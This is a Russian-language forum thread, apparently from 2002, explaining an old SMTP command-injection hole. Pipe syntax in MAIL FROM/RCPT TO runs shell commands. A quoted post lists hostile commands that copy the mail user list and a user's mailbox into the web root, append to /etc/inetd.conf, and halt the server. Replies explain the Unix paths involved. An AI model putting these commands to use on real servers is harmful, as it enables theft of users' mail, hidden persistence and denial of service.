> Просто показать дирректорию /var/spool/mail/ либо, если > mail - это файл, то просто показать его имя (непонятно > зачем). /var/spool/mail это местоположение почтовой очереди, где в каждом файле почта отдельного юзера, т.е. имея листинг этой директории, получишь список почтовых пользователей
> > > перенаправить(переслать) в > > >/home/httpd/html/users_info.txt ? А где находится > он > > этот каталог? > > Этот какталог на той же машине, где и /bin/ls Судя по названиям коталогов, подразумевается что это корень веб-сервера, (есть ли он там это другой вопрос), можно было бы также указать и /var/ftp/pub (ftp корень).
Разбираясь с SMTP и TELNETом и идя по ссылкам нашел вот что:
==========================
1. mail from : sendername|any_command_as_U_want - возможность выполнения любой UNIX команды
rcpt to : username|any_command_as_U_want - возможность выполнения любой UNIX команды
2. rcpt to : /any_directory/any_filename - возможность направить мессагу напрямую в файл)))
Один гражданин ,назвавший себя VIRUSMAN недавно прислал письмо где был следующий вопрос:
"А что мне это дает?" Ну что я могу сказать .........
В первом случае можно сделать нечто типа:
/bin/ls /var/spool/mail>/home/httpd/html/users_info.txt - получаем список почтовых юзерей
/bin/cat /var/spool/mail/username>/home/httpd/html/user_box.txt - получаем контент ящика юзера.
/bin/echo any_commands_here>>/etc/inetd.conf - добавляем произвольные команды в конец инет демона)).
/sbin/halt - паркуем сервак))) и т.д....
========================
Так как я тружусь под виндами, то UNIX-мены растолкуйте эту строку:
/bin/ls /var/spool/mail>/home/httpd/html/users_info.txt
/bin/ls - значит ли это, что рутина ls лежит в С:/BIN на сервере?
И в качестве параметра ей передается : /var/spool/mail>/home/httpd/html/users_info.txt
Т.е. вывести список из C:/var/spool/mail (на червере)и перенаправить(переслать) в >/home/httpd/html/users_info.txt ? А где находится он этот каталог?
> Так как я тружусь под виндами, то UNIX-мены растолкуйте > эту строку: > /bin/ls /var/spool/mail>/home/httpd/html/users_info.txt > /bin/ls - значит ли это, что рутина ls лежит в С:/BIN на > сервере?
нет, это значит прогграммулинка ls лежит в /bin
Причем никакого C: нету !
На сервере она или не на сервере - история умалчивает. ;))))
(кстати ls - это всего лишь dir в dos)
> И в качестве параметра ей передается : > /var/spool/mail>/home/httpd/html/users_info.txt
угу
> Т.е. вывести список из C:/var/spool/mail (на червере)и Нет, нету C:
Просто показать дирректорию /var/spool/mail/ либо, если mail - это файл, то просто показать его имя (непонятно зачем).
> перенаправить(переслать) в > >/home/httpd/html/users_info.txt ? А где находится он > этот каталог?
Этот какталог на той же машине, где и /bin/ls
Все слишком относительно :-)22.09.02 15:55 Автор: koras Статус: Незарегистрированный пользователь
> Просто показать дирректорию /var/spool/mail/ либо, если > mail - это файл, то просто показать его имя (непонятно > зачем). /var/spool/mail это местоположение почтовой очереди, где в каждом файле почта отдельного юзера, т.е. имея листинг этой директории, получишь список почтовых пользователей
> > > перенаправить(переслать) в > > >/home/httpd/html/users_info.txt ? А где находится > он > > этот каталог? > > Этот какталог на той же машине, где и /bin/ls Судя по названиям коталогов, подразумевается что это корень веб-сервера, (есть ли он там это другой вопрос), можно было бы также указать и /var/ftp/pub (ftp корень).